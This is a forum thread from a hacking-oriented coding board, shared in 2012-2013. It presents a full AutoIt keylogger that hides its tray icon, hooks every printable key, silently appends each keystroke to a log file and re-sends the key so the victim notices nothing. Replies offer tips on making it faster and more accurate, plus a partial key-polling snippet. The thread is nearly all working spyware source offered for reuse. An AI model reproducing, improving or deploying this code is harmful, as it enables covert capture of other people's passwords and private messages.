+- Sinisterly (https://sinister.li)
+-- Forum: Coding (https://sinister.li/Forum-Coding)
+--- Forum: Coding (https://sinister.li/Forum-Coding--71)
+--- Thread: Simple Keylogger HotKeySet function (/Thread-Simple-Keylogger-HotKeySet-function)
Simple Keylogger HotKeySet function - Solixious - 09-25-2012
I just made this code few minutes ago. Maybe there are a few bugs in it, but it seemed to work quite fine for me... Do give feedback if something seems wrong and feel free to modify it too..
Code:
#cs
Demonstration of simple key logging using Autoit's HotKeySet function
Author : Solixious
Press Shift+Alt+X to exit the application when executed
All logs of keystrokes are stored in a file named log.txt inside a folder called log in the working directory
#ce
#NoTrayIcon
$filename=@WorkingDir & "\log\log.txt"
HotKeySet("a", "key_a")
HotKeySet("b", "key_b")
HotKeySet("c", "key_c")
HotKeySet("d", "key_d")
HotKeySet("e", "key_e")
HotKeySet("f", "key_f")
HotKeySet("g", "key_g")
HotKeySet("h", "key_h")
HotKeySet("i", "key_i")
HotKeySet("j", "key_j")
HotKeySet("k", "key_k")
HotKeySet("l", "key_l")
HotKeySet("m", "key_m")
HotKeySet("n", "key_n")
HotKeySet("o", "key_o")
HotKeySet("p", "key_p")
HotKeySet("q", "key_q")
HotKeySet("r", "key_r")
HotKeySet("s", "key_s")
HotKeySet("t", "key_t")
HotKeySet("u", "key_u")
HotKeySet("v", "key_v")
HotKeySet("w", "key_w")
HotKeySet("x", "key_x")
HotKeySet("y", "key_y")
HotKeySet("z", "key_z")
HotKeySet("A", "keyc_A")
HotKeySet("B", "keyc_B")
HotKeySet("C", "keyc_C")
HotKeySet("D", "keyc_D")
HotKeySet("E", "keyc_E")
HotKeySet("F", "keyc_F")
HotKeySet("G", "keyc_G")
HotKeySet("H", "keyc_H")
HotKeySet("I", "keyc_I")
HotKeySet("J", "keyc_J")
HotKeySet("K", "keyc_K")
HotKeySet("L", "keyc_L")
HotKeySet("M", "keyc_M")
HotKeySet("N", "keyc_N")
HotKeySet("O", "keyc_O")
HotKeySet("P", "keyc_P")
HotKeySet("Q", "keyc_Q")
HotKeySet("R", "keyc_R")
HotKeySet("S", "keyc_S")
HotKeySet("T", "keyc_T")
HotKeySet("U", "keyc_U")
HotKeySet("V", "keyc_V")
HotKeySet("W", "keyc_W")
HotKeySet("X", "keyc_X")
HotKeySet("Y", "keyc_Y")
HotKeySet("Z", "keyc_Z")
HotKeySet("1", "key_1")
HotKeySet("2", "key_2")
HotKeySet("3", "key_3")
HotKeySet("4", "key_4")
HotKeySet("5", "key_5")
HotKeySet("6", "key_6")
HotKeySet("7", "key_7")
HotKeySet("8", "key_8")
HotKeySet("9", "key_9")
HotKeySet("0", "key_0")
HotKeySet("_", "key__")
HotKeySet("$", "key_DOLLAR")
HotKeySet("@", "key_AT")
HotKeySet("{#}", "key_HASH")
HotKeySet("%", "key_MODULUS")
HotKeySet("{^}", "key_POWER")
HotKeySet("{!}", "key_EXC")
HotKeySet("&", "key_AND")
HotKeySet("*", "key_ASTERISK")
HotKeySet("(", "key_ROUNDBRACKET1")
HotKeySet(")", "key_ROUNDBRACKET2")
HotKeySet("-", "key_DASH")
HotKeySet("{+}", "key_PLUS")
HotKeySet("=", "key_EQUALS")
HotKeySet("{BS}", "key_BACKSPACE")
HotKeySet("[", "key_SQUAREBRACKET1")
HotKeySet("]", "key_SQUAREBRACKET2")
HotKeySet("{", "key_CURLYBRACKET1")
HotKeySet("}", "key_CURLYBRACKET2")
HotKeySet("\", "key_BACKSLASH")
HotKeySet("|", "key_PIPE")
HotKeySet(";", "key_SEMICOLON")
HotKeySet(":", "key_COLON")
HotKeySet("'", "key_SINGLEQUOTE")
HotKeySet('"', "key_DOUBLEQUOTE")
HotKeySet(",", "key_COMMA")
HotKeySet(".", "key_DOT")
HotKeySet("/", "key_SLASH")
HotKeySet("<", "key_LESSTHAN")
HotKeySet(">", "key_MORETHAN")
HotKeySet("?", "key_QUESTION")
HotKeySet("{SPACE}", "key_SPACE")
HotKeySet("{ENTER}","key_ENTER")
HotKeySet("{ESC}","key_ESC")
HotKeySet("+!x","goExit")
While 1
Sleep(100)
WEnd
Func key_a()
$file=FileOpen($filename,1+8)
FileWrite($file,"a")
FileClose($file)
HotKeySet("a")
Send("a")
HotKeySet("a","key_a")
EndFunc
Func key_b()
$file=FileOpen($filename,1+8)
FileWrite($file,"b")
FileClose($file)
HotKeySet("b")
Send("b")
HotKeySet("b","key_b")
EndFunc
Func key_c()
$file=FileOpen($filename,1+8)
FileWrite($file,"c")
FileClose($file)
HotKeySet("c")
Send("c")
HotKeySet("c","key_c")
EndFunc
Func key_d()
$file=FileOpen($filename,1+8)
FileWrite($file,"d")
FileClose($file)
HotKeySet("d")
Send("d")
HotKeySet("d","key_d")
EndFunc
Func key_e()
$file=FileOpen($filename,1+8)
FileWrite($file,"e")
FileClose($file)
HotKeySet("e")
Send("e")
HotKeySet("e","key_e")
EndFunc
Func key_f()
$file=FileOpen($filename,1+8)
FileWrite($file,"f")
FileClose($file)
HotKeySet("f")
Send("f")
HotKeySet("f","key_f")
EndFunc
Func key_g()
$file=FileOpen($filename,1+8)
FileWrite($file,"g")
FileClose($file)
HotKeySet("g")
Send("g")
HotKeySet("g","key_g")
EndFunc
Func key_h()
$file=FileOpen($filename,1+8)
FileWrite($file,"h")
FileClose($file)
HotKeySet("h")
Send("h")
HotKeySet("h","key_h")
EndFunc
Func key_i()
$file=FileOpen($filename,1+8)
FileWrite($file,"i")
FileClose($file)
HotKeySet("i")
Send("i")
HotKeySet("i","key_i")
EndFunc
Func key_j()
$file=FileOpen($filename,1+8)
FileWrite($file,"j")
FileClose($file)
HotKeySet("j")
Send("j")
HotKeySet("j","key_j")
EndFunc
Func key_k()
$file=FileOpen($filename,1+8)
FileWrite($file,"k")
FileClose($file)
HotKeySet("k")
Send("k")
HotKeySet("k","key_k")
EndFunc
Func key_l()
$file=FileOpen($filename,1+8)
FileWrite($file,"l")
FileClose($file)
HotKeySet("l")
Send("l")
HotKeySet("l","key_l")
EndFunc
Func key_m()
$file=FileOpen($filename,1+8)
FileWrite($file,"m")
FileClose($file)
HotKeySet("m")
Send("m")
HotKeySet("m","key_m")
EndFunc
Func key_n()
$file=FileOpen($filename,1+8)
FileWrite($file,"n")
FileClose($file)
HotKeySet("n")
Send("n")
HotKeySet("n","key_n")
EndFunc
Func key_o()
$file=FileOpen($filename,1+8)
FileWrite($file,"o")
FileClose($file)
HotKeySet("o")
Send("o")
HotKeySet("o","key_o")
EndFunc
Func key_p()
$file=FileOpen($filename,1+8)
FileWrite($file,"p")
FileClose($file)
HotKeySet("p")
Send("p")
HotKeySet("p","key_p")
EndFunc
Func key_q()
$file=FileOpen($filename,1+8)
FileWrite($file,"q")
FileClose($file)
HotKeySet("q")
Send("q")
HotKeySet("q","key_q")
EndFunc
Func key_r()
$file=FileOpen($filename,1+8)
FileWrite($file,"r")
FileClose($file)
HotKeySet("r")
Send("r")
HotKeySet("r","key_r")
EndFunc
Func key_s()
$file=FileOpen($filename,1+8)
FileWrite($file,"s")
FileClose($file)
HotKeySet("s")
Send("s")
HotKeySet("s","key_s")
EndFunc
Func key_t()
$file=FileOpen($filename,1+8)
FileWrite($file,"t")
FileClose($file)
HotKeySet("t")
Send("t")
HotKeySet("t","key_t")
EndFunc
Func key_u()
$file=FileOpen($filename,1+8)
FileWrite($file,"u")
FileClose($file)
HotKeySet("u")
Send("u")
HotKeySet("u","key_u")
EndFunc
Func key_v()
$file=FileOpen($filename,1+8)
FileWrite($file,"v")
FileClose($file)
HotKeySet("v")
Send("v")
HotKeySet("v","key_v")
EndFunc
Func key_w()
$file=FileOpen($filename,1+8)
FileWrite($file,"w")
FileClose($file)
HotKeySet("w")
Send("w")
HotKeySet("w","key_w")
EndFunc
Func key_x()
$file=FileOpen($filename,1+8)
FileWrite($file,"x")
FileClose($file)
HotKeySet("x")
Send("x")
HotKeySet("x","key_x")
EndFunc
Func key_y()
$file=FileOpen($filename,1+8)
FileWrite($file,"y")
FileClose($file)
HotKeySet("y")
Send("y")
HotKeySet("y","key_y")
EndFunc
Func key_z()
$file=FileOpen($filename,1+8)
FileWrite($file,"z")
FileClose($file)
HotKeySet("z")
Send("z")
HotKeySet("z","key_z")
EndFunc
Func keyc_A()
$file=FileOpen($filename,1+8)
FileWrite($file,"A")
FileClose($file)
HotKeySet("A")
Send("A")
HotKeySet("A","keyc_A")
EndFunc
Func keyc_B()
$file=FileOpen($filename,1+8)
FileWrite($file,"B")
FileClose($file)
HotKeySet("B")
Send("B")
HotKeySet("B","keyc_B")
EndFunc
Func keyc_C()
$file=FileOpen($filename,1+8)
FileWrite($file,"C")
FileClose($file)
HotKeySet("C")
Send("C")
HotKeySet("C","keyc_C")
EndFunc
Func keyc_D()
$file=FileOpen($filename,1+8)
FileWrite($file,"D")
FileClose($file)
HotKeySet("D")
Send("D")
HotKeySet("D","keyc_D")
EndFunc
Func keyc_E()
$file=FileOpen($filename,1+8)
FileWrite($file,"E")
FileClose($file)
HotKeySet("E")
Send("E")
HotKeySet("E","keyc_E")
EndFunc
Func keyc_F()
$file=FileOpen($filename,1+8)
FileWrite($file,"F")
FileClose($file)
HotKeySet("F")
Send("F")
HotKeySet("F","keyc_F")
EndFunc
Func keyc_G()
$file=FileOpen($filename,1+8)
FileWrite($file,"G")
FileClose($file)
HotKeySet("G")
Send("G")
HotKeySet("G","keyc_G")
EndFunc
Func keyc_H()
$file=FileOpen($filename,1+8)
FileWrite($file,"H")
FileClose($file)
HotKeySet("H")
Send("H")
HotKeySet("H","keyc_H")
EndFunc
Func keyc_I()
$file=FileOpen($filename,1+8)
FileWrite($file,"I")
FileClose($file)
HotKeySet("I")
Send("I")
HotKeySet("I","keyc_I")
EndFunc
Func keyc_J()
$file=FileOpen($filename,1+8)
FileWrite($file,"J")
FileClose($file)
HotKeySet("J")
Send("J")
HotKeySet("J","keyc_J")
EndFunc
Func keyc_K()
$file=FileOpen($filename,1+8)
FileWrite($file,"K")
FileClose($file)
HotKeySet("K")
Send("K")
HotKeySet("K","keyc_K")
EndFunc
Func keyc_L()
$file=FileOpen($filename,1+8)
FileWrite($file,"L")
FileClose($file)
HotKeySet("L")
Send("L")
HotKeySet("L","keyc_L")
EndFunc
Func keyc_M()
$file=FileOpen($filename,1+8)
FileWrite($file,"M")
FileClose($file)
HotKeySet("M")
Send("M")
HotKeySet("M","keyc_M")
EndFunc
Func keyc_N()
$file=FileOpen($filename,1+8)
FileWrite($file,"N")
FileClose($file)
HotKeySet("N")
Send("N")
HotKeySet("N","keyc_N")
EndFunc
Func keyc_O()
$file=FileOpen($filename,1+8)
FileWrite($file,"O")
FileClose($file)
HotKeySet("O")
Send("O")
HotKeySet("O","keyc_O")
EndFunc
Func keyc_P()
$file=FileOpen($filename,1+8)
FileWrite($file,"P")
FileClose($file)
HotKeySet("P")
Send("P")
HotKeySet("P","keyc_P")
EndFunc
Func keyc_Q()
$file=FileOpen($filename,1+8)
FileWrite($file,"Q")
FileClose($file)
HotKeySet("Q")
Send("Q")
HotKeySet("Q","keyc_Q")
EndFunc
Func keyc_R()
$file=FileOpen($filename,1+8)
FileWrite($file,"R")
FileClose($file)
HotKeySet("R")
Send("R")
HotKeySet("R","keyc_R")
EndFunc
Func keyc_S()
$file=FileOpen($filename,1+8)
FileWrite($file,"S")
FileClose($file)
HotKeySet("S")
Send("S")
HotKeySet("S","keyc_S")
EndFunc
Func keyc_T()
$file=FileOpen($filename,1+8)
FileWrite($file,"T")
FileClose($file)
HotKeySet("T")
Send("T")
HotKeySet("A","keyc_T")
EndFunc
Func keyc_U()
$file=FileOpen($filename,1+8)
FileWrite($file,"U")
FileClose($file)
HotKeySet("U")
Send("U")
HotKeySet("U","keyc_U")
EndFunc
Func keyc_V()
$file=FileOpen($filename,1+8)
FileWrite($file,"V")
FileClose($file)
HotKeySet("V")
Send("V")
HotKeySet("V","keyc_V")
EndFunc
Func keyc_W()
$file=FileOpen($filename,1+8)
FileWrite($file,"W")
FileClose($file)
HotKeySet("W")
Send("W")
HotKeySet("W","keyc_W")
EndFunc
Func keyc_X()
$file=FileOpen($filename,1+8)
FileWrite($file,"X")
FileClose($file)
HotKeySet("X")
Send("X")
HotKeySet("X","keyc_X")
EndFunc
Func keyc_Y()
$file=FileOpen($filename,1+8)
FileWrite($file,"Y")
FileClose($file)
HotKeySet("Y")
Send("Y")
HotKeySet("Y","keyc_Y")
EndFunc
Func keyc_Z()
$file=FileOpen($filename,1+8)
FileWrite($file,"Z")
FileClose($file)
HotKeySet("Z")
Send("Z")
HotKeySet("Z","keyc_Z")
EndFunc
Func key_1()
$file=FileOpen($filename,1+8)
FileWrite($file,"1")
FileClose($file)
HotKeySet("1")
Send("1")
HotKeySet("1","key_1")
EndFunc
Func key_2()
$file=FileOpen($filename,1+8)
FileWrite($file,"2")
FileClose($file)
HotKeySet("2")
Send("2")
HotKeySet("2","key_2")
EndFunc
Func key_3()
$file=FileOpen($filename,1+8)
FileWrite($file,"3")
FileClose($file)
HotKeySet("3")
Send("3")
HotKeySet("3","key_3")
EndFunc
Func key_4()
$file=FileOpen($filename,1+8)
FileWrite($file,"4")
FileClose($file)
HotKeySet("4")
Send("4")
HotKeySet("4","key_4")
EndFunc
Func key_5()
$file=FileOpen($filename,1+8)
FileWrite($file,"5")
FileClose($file)
HotKeySet("5")
Send("5")
HotKeySet("5","key_5")
EndFunc
Func key_6()
$file=FileOpen($filename,1+8)
FileWrite($file,"6")
FileClose($file)
HotKeySet("6")
Send("6")
HotKeySet("6","key_6")
EndFunc
Func key_7()
$file=FileOpen($filename,1+8)
FileWrite($file,"7")
FileClose($file)
HotKeySet("7")
Send("7")
HotKeySet("7","key_7")
EndFunc
Func key_8()
$file=FileOpen($filename,1+8)
FileWrite($file,"8")
FileClose($file)
HotKeySet("8")
Send("8")
HotKeySet("8","key_8")
EndFunc
Func key_9()
$file=FileOpen($filename,1+8)
FileWrite($file,"9")
FileClose($file)
HotKeySet("9")
Send("9")
HotKeySet("9","key_9")
EndFunc
Func key_0()
$file=FileOpen($filename,1+8)
FileWrite($file,"0")
FileClose($file)
HotKeySet("0")
Send("0")
HotKeySet("0","key_0")
EndFunc
Func key__()
$file=FileOpen($filename,1+8)
FileWrite($file,"_")
FileClose($file)
HotKeySet("_")
Send("_")
HotKeySet("_","key__")
EndFunc
Func key_DOLLAR()
$file=FileOpen($filename,1+8)
FileWrite($file,"$")
FileClose($file)
HotKeySet("$")
Send("$")
HotKeySet("$","key_DOLLAR")
EndFunc
Func key_AT()
$file=FileOpen($filename,1+8)
FileWrite($file,"@")
FileClose($file)
HotKeySet("@")
Send("@")
HotKeySet("@","key_AT")
EndFunc
Func key_HASH()
$file=FileOpen($filename,1+8)
FileWrite($file,"#")
FileClose($file)
HotKeySet("{#}")
Send("{#}")
HotKeySet("{#}","key_HASH")
EndFunc
Func key_MODULUS()
$file=FileOpen($filename,1+8)
FileWrite($file,"%")
FileClose($file)
HotKeySet("%")
Send("%")
HotKeySet("%","key_MODULUS")
EndFunc
Func key_POWER()
$file=FileOpen($filename,1+8)
FileWrite($file,"^")
FileClose($file)
HotKeySet("{^}")
Send("{^}")
HotKeySet("{^}","key_POWER")
EndFunc
Func key_AND()
$file=FileOpen($filename,1+8)
FileWrite($file,"&")
FileClose($file)
HotKeySet("&")
Send("&")
HotKeySet("&","key_AND")
EndFunc
Func key_ASTERISK()
$file=FileOpen($filename,1+8)
FileWrite($file,"*")
FileClose($file)
HotKeySet("*")
Send("*")
HotKeySet("*","key_ASTERISK")
EndFunc
Func key_DASH()
$file=FileOpen($filename,1+8)
FileWrite($file,"-")
FileClose($file)
HotKeySet("-")
Send("-")
HotKeySet("-","key_DASH")
EndFunc
Func key_PLUS()
$file=FileOpen($filename,1+8)
FileWrite($file,"+")
FileClose($file)
HotKeySet("{+}")
Send("{+}")
HotKeySet("+","key_PLUS")
EndFunc
Func key_EXC()
$file=FileOpen($filename,1+8)
FileWrite($file,"!")
FileClose($file)
HotKeySet("{!}")
Send("{!}")
HotKeySet("{!}","key_EXC")
EndFunc
Func key_EQUALS()
$file=FileOpen($filename,1+8)
FileWrite($file,"=")
FileClose($file)
HotKeySet("=")
Send("=")
HotKeySet("=","key_EQUALS")
EndFunc
Func key_ROUNDBRACKET1()
$file=FileOpen($filename,1+8)
FileWrite($file,"(")
FileClose($file)
HotKeySet("(")
Send("(")
HotKeySet("(","key_ROUNDBRACKET1")
EndFunc
Func key_ROUNDBRACKET2()
$file=FileOpen($filename,1+8)
FileWrite($file,")")
FileClose($file)
HotKeySet(")")
Send(")")
HotKeySet(")","key_ROUNDBRACKET2")
EndFunc
Func key_BACKSPACE()
$file=FileOpen($filename,1+8)
FileWrite($file,"[BACKSPACE]")
FileClose($file)
HotKeySet("{BACKSPACE}")
Send("{BACKSPACE}")
HotKeySet("{BACKSPACE}","key_BACKSPACE")
EndFunc
Func key_SQUAREBRACKET1()
$file=FileOpen($filename,1+8)
FileWrite($file,"[")
FileClose($file)
HotKeySet("[")
Send("[")
HotKeySet("[","key_SQUAREBRACKET1")
EndFunc
Func key_SQUAREBRACKET2()
$file=FileOpen($filename,1+8)
FileWrite($file,"]")
FileClose($file)
HotKeySet("]")
Send("]")
HotKeySet("]","key_SQUAREBRACKET2")
EndFunc
Func key_CURLYBRACKET1()
$file=FileOpen($filename,1+8)
FileWrite($file,"{")
FileClose($file)
HotKeySet("{")
Send("{")
HotKeySet("{","key_CURLYBRACKET1")
EndFunc
Func key_CURLYBRACKET2()
$file=FileOpen($filename,1+8)
FileWrite($file,"}")
FileClose($file)
HotKeySet("}")
Send("}")
HotKeySet("}","key_CURLYBRACKET2")
EndFunc
Func key_BACKSLASH()
$file=FileOpen($filename,1+8)
FileWrite($file,"\")
FileClose($file)
HotKeySet("\")
Send("\")
HotKeySet("\","key_BACKSLASH")
EndFunc
Func key_PIPE()
$file=FileOpen($filename,1+8)
FileWrite($file,"|")
FileClose($file)
HotKeySet("|")
Send("|")
HotKeySet("|","key_PIPE")
EndFunc
Func key_SEMICOLON()
$file=FileOpen($filename,1+8)
FileWrite($file,";")
FileClose($file)
HotKeySet(";")
Send(";")
HotKeySet(";","key_SEMICOLON")
EndFunc
Func key_COLON()
$file=FileOpen($filename,1+8)
FileWrite($file,":")
FileClose($file)
HotKeySet(":")
Send(":")
HotKeySet(":","key_COLON")
EndFunc
Func key_SINGLEQUOTE()
$file=FileOpen($filename,1+8)
FileWrite($file,"'")
FileClose($file)
HotKeySet("'")
Send("'")
HotKeySet("'","key_SINGLEQUOTE")
EndFunc
Func key_DOUBLEQUOTE()
$file=FileOpen($filename,1+8)
FileWrite($file,'"')
FileClose($file)
HotKeySet('"')
Send('"')
HotKeySet('"',"key_DOUBLEQUOTE")
EndFunc
Func key_LESSTHAN()
$file=FileOpen($filename,1+8)
FileWrite($file,"<")
FileClose($file)
HotKeySet("<")
Send("<")
HotKeySet("<","key_LESSTHAN")
EndFunc
Func key_MORETHAN()
$file=FileOpen($filename,1+8)
FileWrite($file,">")
FileClose($file)
HotKeySet(">")
Send(">")
HotKeySet(">","key_MORETHAN")
EndFunc
Func key_COMMA()
$file=FileOpen($filename,1+8)
FileWrite($file,",")
FileClose($file)
HotKeySet(",")
Send(",")
HotKeySet(",","key_COMMA")
EndFunc
Func key_DOT()
$file=FileOpen($filename,1+8)
FileWrite($file,".")
FileClose($file)
HotKeySet(".")
Send(".")
HotKeySet(".","key_DOT")
EndFunc
Func key_SLASH()
$file=FileOpen($filename,1+8)
FileWrite($file,"/")
FileClose($file)
HotKeySet("/")
Send("/")
HotKeySet("/","key_SLASH")
EndFunc
Func key_QUESTION()
$file=FileOpen($filename,1+8)
FileWrite($file,"?")
FileClose($file)
HotKeySet("?")
Send("?")
HotKeySet("?","key_QUESTION")
EndFunc
Func key_SPACE()
$file=FileOpen($filename,1+8)
FileWrite($file," ")
FileClose($file)
HotKeySet(" ")
Send(" ")
HotKeySet(" ","key_SPACE")
EndFunc
Func key_ENTER()
$file=FileOpen($filename,1+8)
FileWrite($file,"[ENTER]")
FileClose($file)
HotKeySet("{ENTER}")
Send("{ENTER}")
HotKeySet("{ENTER}","key_ENTER")
EndFunc
Func key_ESC()
$file=FileOpen($filename,1+8)
FileWrite($file,"[ESCAPE]")
FileClose($file)
HotKeySet("{ESCAPE}")
Send("{ESCAPE}")
HotKeySet("{ESCAPE}","key_ESC")
EndFunc
Func goExit()
Exit 1
EndFuncRE: Simple Keylogger HotKeySet function - Jacob - 09-25-2012
instead of opening and closing the file everytime a function is called, just open it at the beginning once and close at the end. Better speeds.
RE: Simple Keylogger HotKeySet function - Solixious - 09-25-2012
Thanks for the advice Jacob. I guess it will take some time to modify those functions...
Would it make that much of difference, except for the length of the code?
RE: Simple Keylogger HotKeySet function - Jacob - 09-25-2012
Yes it would, not only with the amount of memory used, but in the long run how accurate the logs are.
RE: Simple Keylogger HotKeySet function - HMVC - 12-02-2012
Why dont you use _WINAPI_SetWindowHookEx Lol and make an array of keycodes and other array of keystrings and ....
RE: Simple Keylogger HotKeySet function - ReaImDown - 06-22-2013
Here... I'm not releasing all of my code... but just to help you clean things up a bit & get your brain thinking...
Code:
Dim $Chr = StringSplit("41,42,43,44,45,46,47,48,49,4A,4B,4C,4D,4E,4F,50,51,52,53,54,55,56,57,58,59,5A,20", ",") ;A-Z
While 1
sleep(10)
For $i = 1 To $Chr[0]
If (GetCapsLock() + _IsPressed(0xA0) + _IsPressed(0xA1) = 1) Then
If _IsPressed("0x" & $Chr[$i]) Then _LogKeyPress(StringUpper(Chr("0x" & $Chr[$i])))
Else
If _IsPressed("0x" & $Chr[$i]) Then _LogKeyPress(StringLower(Chr("0x" & $Chr[$i])))
EndIf
Next
wendThat's broken code... but I'm sure you can figure out a way to incorporate it somehow. message me if you need guidance.